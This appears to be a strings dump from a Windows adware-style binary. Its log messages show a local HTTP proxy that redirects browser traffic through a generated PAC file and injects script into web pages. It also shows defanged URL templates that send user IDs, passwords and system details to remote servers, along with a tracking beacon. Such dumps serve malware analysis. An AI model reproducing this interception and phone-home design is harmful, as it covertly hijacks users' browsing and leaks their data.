.EXPIRATION_HOURS

.EXPIRATION_TIME

.NUM_OF_ICONS

.ANIMATION_TIME

.DISPLAY_TIME

.TYPE

.NUMBER

RESULT.LAMP

RESULT.ALERT

[Core::ShouldUpdate] %s

RESULT.LICENSE.EXPIRATION

RESULT.LICENSE.STATUS

RESULT.LASTERROR

[Core::RequestURL] Filename = %s, URL = %s

RESULT.USER.DAUI

RESULT.ANON.PW

RESULT.ANON.ID

RESULT.USER.PW

RESULT.USER.ID

[Core::AnalyzeXMLResult] Filename = %s

RESULT.STATS.COLLECT

RESULT.DISABLED_PARTNERS

RESULT.UPDATE.PAGE_URL

RESULT.UPDATE.DOWNLOAD_FILENAME

RESULT.UPDATE.DOWNLOAD_URL

RESULT.UPDATE.VERSION

RESULT.UPDATE.EXIST

Core.log

ddd

ddd

2.0.0.0

%DOMAIN%

%s=%s

&OldUserID=%s&OldPassword=%s

%s?%s

hXXp://online.%DOMAIN%.com/online/updateSBPID.aspx

CV=[core-version]&ProductID=[sb-pid]&UserID=[sb-uid]&Password=[sb-upw]&OS=[sb-os]

Password

[Core::SendInfo] Filename = %s, URL = %s

hXXp://online.%DOMAIN%.com/online/Report.aspx

[Core::HitStats] URL = %s

hXXp://pix.%DOMAIN%.com

[Core::BuildUpdateURL] URL = %s

&ElapsedTime=%d

[Core::BuildUpdateURL] ___ALERT___ Alert Info = %s

&DAUI=%s

&ActivationCode=%s&ActivationEmail=%s

%s?%s&V=[sb-ve]&VS=[sb-vs]&Beta=[sb-beta]&Aff=[sb-aff]&BundleID=[sb-bundle]&BrandID=[sb-brand]&PartnerList=[sb-partners]

[Core::CheckForUpdates] RequestURL FAILED

[Core::CheckForUpdates] RequestURL SUCCEEDED

[Core::CheckForUpdates] URL = %s

hXXp://online.%DOMAIN%.com/online/update.aspx

[Core::PerformAsyncUpdateCheck] URL = %s

&SBPIDS=%d

[Core::FindRegistrationInfoByKey] VA Product Found

[Core::FindRegistrationInfoByKey] DAP Product Found

[Core::FindRegistrationInfoByKey] Password is %s

[Core::FindRegistrationInfoByKey] SBPID is %s

[Core::FindRegistrationInfoByKey] Product is %s

[Core::FindRegistrationInfoByKey]

[Core::FindRegistrationInfo] ___Error open key %s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from %s

[Core::FindRegistrationInfo] - CurrentUSDKey is %s

[Core::FindRegistrationInfo] - Enum HKEY_CURRENT_USER\%s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from product key

[Core::RegisterProduct] RequestURL Fauled err = %d

[Core::RegisterProduct] RequestURL Succeeded

[Core::RegisterProduct] URL = %s

&LastResponse=%s

&TF=%s

&Retry=%d&LE=%d

hXXp://online.%DOMAIN%.com/online/Register.aspx

[Core::GenerateAnonymousID] URL = %s

hXXp://online.%DOMAIN%.com/online/RegisterAnon.aspx

[Core::PingServer] URL = %s

hXXp://online.%DOMAIN%.com/online/ka.aspx

InternetReadFile failed: %d

WriteFile failed: %d

Create output file failed: %d

QueryStatus not OK: %d

HttpQueryInfo failed: %d

InternetOpenUrl failed: %d

InternetOpen failed: %d

Content-Disposition: form-data; name="%s"

XXX

--%s--

Content-Type:multipart/form-data;boundary=%s

WaitingPost.xml

%%X

<?xml version="1.0" encoding="%s"?>

-%c%c%c%c%c%c%c%c%c%c

deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly

inflate 1.1.4 Copyright 1995-2002 Mark Adler

()$^.* ?[]|\-{},:=!

safari.exe

opera.exe

itunes.exe

iexplore.exe

chrome.exe

(build %d)

Windows 2000

Windows XP

Web Edition

Windows Server 2003,

Windows XP Professional x64 Edition

Windows Home Server

Windows Storage Server 2003

Windows Server 2003 R2,

Web Server Edition

Windows Server 2008 R2

Windows 8

Windows 7

Windows Server 2008

Windows Vista

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d - Written %d/%d bytes

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\locale

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - html file size unknown - ignore this request (Response)

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - Try to Inject script... (Response)

[Inject OnHeader] URL %s, type %s, length %s, trans.encoding %s, cont.encoding %s

hXXp://repjs.shopper-pro.com/app/ping.ashx?product=ShopperProJs&action=%s&it=%d&os=%s&Rnd=%d&v=%s&usid=%s&aff=JS%s&pixguid=%s&text=%s

ProxyExtensionInj: can't open database1_0_0.json

database1_0_0.json

ProxyExtensionInj: can't open Config.json

Config.json

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Total written %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - injected %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error writing new header

[ProxyExtensionInj::OnHeader] FDM=%d -

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser ParseHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser Initialize

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error BuildHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpFileDownloadMgr

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpProxyServer

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%%SID%%

%%USERID%%

%%SPARAM%%

%%SPARAMDATE%%

%%SPARAMPROD%%

%%SPARAMSUB%%

%%COUNTRY%%

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - /HEAD position was found: %d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error /HEAD position was not found

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error uncompress: %d

[ProxyExtensionInj::InjectScriptToWatchPage] Crash fix FDM=%d (%d),Req:%d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Parsing Watch page file for Script injection

[InjHttpProxyServer]

[InjHttpProxyLocal::InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::~InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): After writing %d bytes into upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Going to write the %d bytes into the upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Read %d bytes from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Reading from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[InjFileDownloadMgr] FDM=%d

[InjHttpProxyRemote::InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::ConnectToDomain] FAILED FDM=%d (%d),Req:%d

[InjHttpProxyRemote::~InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Request was written to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Going to write request to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Reading from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

InjHttpProxyRemote::WriteCachedBufferToSocket

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

pHttpProxyWorker

[InjHttpProxyServer::GetFileDownloadManager] FDM=%d for Worker: %d, IP: %s, Port: %d, was found.

[InjHttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[InjHttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[InjHttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP: %s, Port: %d, was created.

HttpProxyServer::GetDownloader

[InjHttpProxyServer::GetFileDownloadManager] FDM not found - Creating a new one. (Worker: %d, IP: %s, Port: %d)

[InjHttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker: %d, IP: %s, Port: %d.

[InjHttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[InjHttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

HttpProxyServer::OnHeader

[ProxyServer::StopAcceleration] Proxy type: %d

[ProxyServer::Stop] Proxy type: %d - Done

[ProxyServer::Stop] - delete HttpCookieJar

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopped !

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopping...

[ProxyServer::Stop] - HTTP proxy - Stopped !

[ProxyServer::Stop] - HTTP proxy - Stopping...

[ProxyServer::Stop] Proxy type: %d

[ProxyServer::CreateHttpProxyServer] *** HTTP Proxy Server - Created and Started ***

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Start.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already started

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Initialize.

m_pIHttpProxyServer

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::CreateInstance.

[ProxyServer::CreateHttpProxyServer] ___Error allocate HttpCookieJar.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already created

ProxyServer::CreateHttpProxyServer

[ProxyServer::Start] Proxy type: %d - Done.

[ProxyServer::Start] *** HTTP proxy was started ***

[ProxyServer::Start] ___Error stating the HTTP proxy.

[ProxyServer::Start] ___Error Proxy type not supported. (Requested: %d).

[ProxyServer::Start] Proxy type: %d

[ProxyServer::AcceptConnection] *** Handover to HTTP ***

[AccelerationConfiguration::OnError] XML parse failed: %s

[CAccelerationStats::Write] Written: %d, Total: %lld, Bps: %d

[CAccelerationStats::Write] Written: %d

[CAccelerationStats::AddRequest] Req:%d - Request was added

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetBuffer

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: BuildHeader

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetRanges

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: ParseHeader

[CAccelerationStats::HandleNewRequest] FDM=%d, Req:%d (IP: %s, Port: %d) - Request was added.

[CAccelerationStats::HandleNewRequest] ___Error: The request was not added. FDM=%d, Req:%d (IP:%s, port:%d).

[CAccelerationStats::HandleNewRequest] ___Error initializing FDM=%d.

[HttpProxyServer::Init] ___Error creating listen AsyncSocket

[HttpProxyServer::Init]

[HttpProxyServer::OnData] Writing to FDM %d data bytes from Local Worker:%d.

HttpProxyServer::OnData

pIHttpProxyWorker

m_pIHttpEngineConfiguration

[HttpProxyServer::WriteDataToFile] ___Error: Not a reasnable data to write: %d

[HttpProxyServer::WriteDataToFile] ___Error: GetFileAttributes: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fwrite: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fopen: %s, failed: %d

[HttpProxyServer::WriteDataToFile] Filename: %s

[HttpProxyServer::Start] ___Error - HTTP Configuration not valid

HttpProxyServer::Initialize

[HttpProxyServer::Initialize]

[HttpProxyServer::OnAcceptEvent] *** Pass Through ***

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new socket

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new connection.

[HttpProxyServer::OnAcceptEvent] ___Error %s(%d) occured on the listen socket

[HttpProxyServer::IsRedirectedByDnsController] Client was Redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] NOT redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] ___Error IDnsController == NULL

[IHttpProxyServer::DestroyInstance] Destroy - HttpProxyServer - Regular MODE

[IHttpProxyServer::DestroyInstance] Destroy - TransparentProxyServer (PassThrough) - LSP MODE

[IHttpProxyServer::DestroyInstance] ___Error Redirect was not created - Type = IdleMode

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer - LSP MODE

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer (PassThrough) - LSP MODE

[HttpProxyServer::StartListening] Listening on port: %d

[HttpProxyServer::StartListening] ___Error Listen Socket Initialize failed

[HttpProxyServer::StartListening] ___Error listening on port: %d

[HttpProxyServer::StartListening] ___Error failed to bind the Listen Socket

[HttpProxyServer::StartListening] ___Error Testing Mode - failed to bind Listen Socket default port

[HttpProxyServer::StartListening] Try listening on IP: %s, Port: %d

[HttpProxyServer::StartListening] Listen port restored to default: %d

[HttpProxyServer::StartListening] ___Error Configuration not valid

[HttpProxyServer::StartListening]

HttpProxyServer::StartListening

[HttpProxyServer::StopAllAccelerations]

[HttpProxyServer::GetDestinationIpAndPort] ___Error getting the destination details. Local: %s:%d

[HttpProxyServer::GetDestinationIpAndPort] Local: %s:%d, Remote: %s:%d, PID: %d

[HttpProxyServer::GetDestinationIpAndPort] ___Error spIRedirectController == NULL

[HttpProxyServer::InitializationThread] ___Error listening to network traffic

[HttpProxyServer::InitializationThread] Listening to network traffic.

[HttpProxyServer::InitializationThread] Going to listen to network traffic

[HttpProxyServer::InitializationThread] ___Error HttpProxyServer not valid

[HttpProxyServer::InitializationThread]

[HttpProxyServer::ReleaseAllClosedFDMs] - All closed FDMs where released.

[HttpProxyServer::ReleaseAllClosedFDMs] - FDM=%d has %d RefCount.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing FDM=%d.

[HttpProxyServer::ReleaseAllClosedFDMs] - There are %d FDMs to release.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing all closed FDMs.

[HttpProxyServer::Start] ___Error hInitializationThread failed: %d

[HttpProxyServer::Start] hInitializationThread - S_OK

[HttpProxyServer::Start] Waiting for Initialzation Thread...

HttpProxyServer::Start

[HttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[HttpProxyServer::AcceptConnection] ___Error getting the connected IP and port of the socket %d.

[HttpProxyServer::AcceptConnection] ___Error accepting a new socket

[HttpProxyServer::Work] --- Exit event was set ---

[HttpProxyServer::Work] - Start...

[HttpProxyServer::FindDownloadMgr] FDM=%d - Was stopped.

[HttpProxyServer::FindDownloadMgr] FDM=%d - Stopping...

[HttpProxyServer::FindDownloadMgr] FDM=%d - State is completed, deleting the FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d state is Not completed - Add Request to FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d is connected to %s : %d ---> and not to %s : %d

[HttpProxyServer::FindDownloadMgr] Worker was found ! (ID Metch)

[HttpProxyServer::FindDownloadMgr] ___Warning - In caching, use a new one.

[HttpProxyServer::FindDownloadMgr] ___Warning - Worker was found but ID not match

[HttpProxyServer::FindDownloadMgr] Worker was not found !

[HttpProxyServer::RemoveDownloaderFromMap] FDM=%d - Worker:%d

HttpProxyServer::RemoveDownloaderFromMap

[HttpProxyServer::FDMWasStopped] FDM=%d <-> Local (%d)

HttpProxyServer::FDMWasStopped

[HttpProxyServer::Stop] The Stop process was finished !

[HttpProxyServer::Stop] - Workers - Deleted !

[HttpProxyServer::Stop] - Workers - Deleting...

[HttpProxyServer::Stop] - Listen - Stopped !

[HttpProxyServer::Stop] - Listen - Stopping...

[HttpProxyServer::Stop] - NetworkEventsSink - Stopped !

[HttpProxyServer::Stop] - NetworkEventsSink - Stopping...

[HttpProxyServer::Stop] Starting the Stop process...

HttpProxyServer::OnError

[HttpProxyServer::BuildElsePacString] Direct -> ieDomain = %s iePort = %d

return "PROXY %s:%d";

[HttpProxyServer::BuildElsePacString] With ie Proxy Details ieDomain = %s iePort = %d

[HttpProxyServer::BuildElsePacString] Domain ieDomain = %s iePort = %d

127.0.0.1

[HttpProxyServer::IsRequestMatchRedirectionRules] can't get configuration

[HttpProxyServer::IsRequestMatchRedirectionRules] handle on mode, return true

[HttpProxyServer::IsRequestMatchRedirectionRules] Rule not found for Domain: %s, IP: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain & Port found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] ___Error getting IAccelerationConfiguration

[HttpProxyServer::GetDestinationDomainAndPort] Domain: %s, Port: %d, URI: %s

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain from URI

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain and the port from the URI field.

[HttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[HttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

[HttpProxyServer::OnHeader] Worker %u IsRequestMatchRedirectionRules matched - try to accelerate, PassThrough OFF

[HttpProxyServer::OnHeader] *** IsRequestMatchRedirectionRules not matched - PassThrough ON ***

[HttpProxyServer::OnHeader] ___Error local loop detected

[HttpProxyServer::OnHeader] ___Error getting the IP of the domain %s.

[HttpProxyServer::OnHeader] ___Error (TransparentMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Warning getting the destination IP and port for Worker:%d (nLocalPort:%d)

[HttpProxyServer::OnHeader] ___Error building the request from Worker:%d

[HttpProxyServer::OnHeader] ___Error (ProxyMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Error Unsupported Mode from Worker:%d !!!

[HttpProxyServer::OnHeader] ___Error getting the connected IP and Port for Worker:%d

[HttpProxyServer::OnHeader] New header from Worker:%d.

[HttpProxyServer::GetOriginalRequest] Original request was found: %s

[HttpProxyServer::InsertDownloaderToMap] FDM=%d - Worker:%d

HttpProxyServer::InsertDownloaderToMap

[HttpProxyServer::GetFileDownloadManager] FDM=%d for Worker:%d, IP:%s, Port:%d, was found.

[HttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[HttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[HttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP:%s, Port:%d, was created.

[HttpProxyServer::GetFileDownloadManager] FDM not found, Creating new one. (Worker:%d, IP:%s, Port:%d)

[HttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker:%d, IP:%s, Port:%d.

return "PROXY 127.0.0.1:%d";

shExpMatch(host, "%s")

function FindProxyForURL(url, host)

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IConfiguration.

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IAccelerationConfiguration.

HttpProxyServer::GetRedirectRulesInPacFormat

%%.%ds

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: WriteDataToFile() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: GetRedirectRulesInPacFormat() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile]

[HttpProxyServer::~HttpProxyServer] - Leave

[HttpProxyServer::~HttpProxyServer] - Enter

[HttpProxyServer::SetOriginalRequest] Location: %s

[HttpProxyServer::SetOriginalRequest] Replacing: %s

[HttpProxyServer::HttpProxyServer]

hXXp://

HTTP_Version_String

HTTP/1.0

HttpParser::UpdateBuffer

[HttpParser::Reset]

[HttpParser::ValidateEndOfLine] ___Error: Unsupported end of line option.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c%c.

[HttpParser::ValidateEndOfLine] ___Error: Invalid end of line: %c%c.

[HttpParser::LastChunkReceivedCompletely] Temporary nChunkSize:%d

[HttpParser::LastChunkReceivedCompletely] Received all %d bytes.

[HttpParser::LastChunkReceivedCompletely] Missing %d/%d bytes.

HttpParser::Initialize

HttpParser::GetLine

[HttpParser::GetChunkSize] Missing %d/%d bytes.

[HttpParser::GetChunkSize] After Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Received all %d bytes of the current chunk.

[HttpParser::GetChunkSize] After Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] After Adding nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nChunkSize:%d

[HttpParser::GetChunkSize] Next chunk details: (header:%d bytes, size:%d bytes).

[HttpParser::GetChunkSize] The buffer size is %d bytes.

[HttpParser::GetChunkDetails] The size of the chunks is %d bytes.

[HttpParser::GetChunkDetails] ___Error Unknown end of line.

[HttpParser::GetChunkDetails] Going to analyze: BufferSize(%d), HeaderSize(%d), ChunkBufferSize(%d).

[HttpParser::ParseLine] ___Error: The field separator was not found in the line %.600s

HttpParser::ParseLine

HttpParser::GetFieldDataString

HttpParser::GetFieldDataNumber

HttpParser::SetFieldData

HttpParser::AddLineDetailsToMap

[HttpParser::IsDataAvailable] Undefined - %d data bytes

[HttpParser::IsDataAvailable] Response code has no body - no data

[HttpParser::IsDataAvailable] Request - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Content Length - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Chunks size - %d bytes

[HttpParser::IsDataAvailable] ___Error The Header is not complete yet...

[HttpParser::IsConnectionClose] The Connection field exists:%s

[HttpParser::IsConnectionClose] HTTP/1.1 - The Connection field does NOT exists - using Keep-Alive as default

[HttpParser::IsConnectionClose] HTTP/1.0 - The Connection field does NOT exists - using Close as default

[HttpParser::GetContentLength] Content-Length: %lld

[HttpParser::GetDataLengthFromRanges] Range fields does not exists

[HttpParser::GetDataLengthFromRanges] Total Data Length = %lld, StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetDataLengthFromRanges] End Position == 0

[HttpParser::GetDataLengthFromRanges] Filesize: %lld

[HttpParser::GetDataLengthFromRangesField] Range fields does not exists

[HttpParser::GetDataLengthFromRangesField] Total Data Length = %lld

[HttpParser::GetRangesFromHeaderField] Range fields does not exists

[HttpParser::GetRangesFromHeaderField] StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetRangesFromHeaderField] Filesize: %lld

[HttpParser::IsValid] ___Error --- NOT an HTTP request ---

HttpParser::SetFieldDataNumber

[HttpParser::AnalyzeFirstLine] ___Error The number of tokens in the line %.600s is not valid.There is not enough memory to allocate new buffers.

[HttpParser::AnalyzeFirstLine] ___Error Invalid HTTP Header: %.600s

HTTP/

HttpParser::AnalyzeFirstLine

[HttpParser::SetConnectionType] Adding - Connection: %s (%s)

[HttpParser::SetConnectionType] %s: %s (%s)

[HttpParser::UpdateDataEncodingType] Request - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Post/Put - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Connect - No Encoding.

[HttpParser::UpdateDataEncodingType] - No Encoding.

[HttpParser::UpdateDataEncodingType] - The data encoding type is chunked.

[HttpParser::ParseHeader] Complete - Header size: %d

HttpParser::ParseHeader

HttpParser::GetAllFieldDataStrings

[HttpHeader::BuildFirstLineInHeader] ___Error building the first line if the header. The header type is undefined.

[HttpProxyRemote::SetRangesInHeaderField] ___Error: The function SetFieldData failed.

[HttpHeader::GetRangesFromPathURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromPathURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromPathURI] ___Error: The field %s does not exist.

[HttpHeader::GetRangesFromURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromURI] ___Error: The field %s does not exist.

[HttpHeader::GetDomainAndPortFromURI] Domain: %s, Port: %d

[HttpHeader::GetDomainAndPortFromURI] ___Error No URI empty

[HttpProxyRemote::SetRangesInPathURI] ___Error: The function SetFieldData field.

%s%lld

[HttpHeader::SetRangesInPathURI] ___Error: The field %s does not exist.

[HttpProxyRemote::SetRangesInURI] ___Error: The function SetFieldData field.

%s%lld-

%s%lld-%lld

[HttpHeader::SetRangesInURI] ___Error: The field %s does not exist.

[HttpProxyLocal::SocketWasConnected] FDM=%d (%d)

[HttpProxyLocal::SocketAcceptedConnection] FDM=%d (%d)

[HttpProxyLocal::SocketWasClosed] FDM=%d (%d)

[HttpProxyLocal::ErrorOnSocket] FDM=%d (%d)

[HttpProxyLocal::Stop] FDM=%d (%d)

[~HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket%d.bin

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request data *** (wrote %lld data bytes).

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Data.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The data size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker has no data to send.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker has %d data bytes in the buffer to send

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request header ***.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Wroker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Header.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the Header written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker was stopped (in HEADER state)

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error The header is not valid - switch to PassThrough mode!

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning The header is not complete

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error: JobInfo is NULL.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): After writing %d bytes into upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Going to write the %d bytes into the upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Read %d bytes from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): ___Error: Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket_%d_%lld_%d.bin

C:\Temp\Socket_%d.bin

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Worker was STOPPED.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Setting the cache writer as finished.

[HttpProxyWorker::Stop] FDM=%d (%d) - The socket object was deleted.

[HttpProxyWorker::Stop] FDM=%d (%d) - Going to delete the socket object.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Going to stop the worker.

[HttpProxyWorker::Stop] FDM=%d (%d)

[HttpProxyWorker::ErrorOnJob] FDM=%d (%d)

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - After writing %d/%d bytes to socket %d.

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - Before writing %d bytes to socket %d.

HttpProxyWorker::Write

[RtmpProxyWorker::Write] FDM=%d (%d),Req:%d ___Warning No bytes to write

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d ___Error is not ready

[HttpProxyWorker::OnCloseEvent] FDM=%d (%d),Req:%d - Socket %d was closed.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error initializing socket

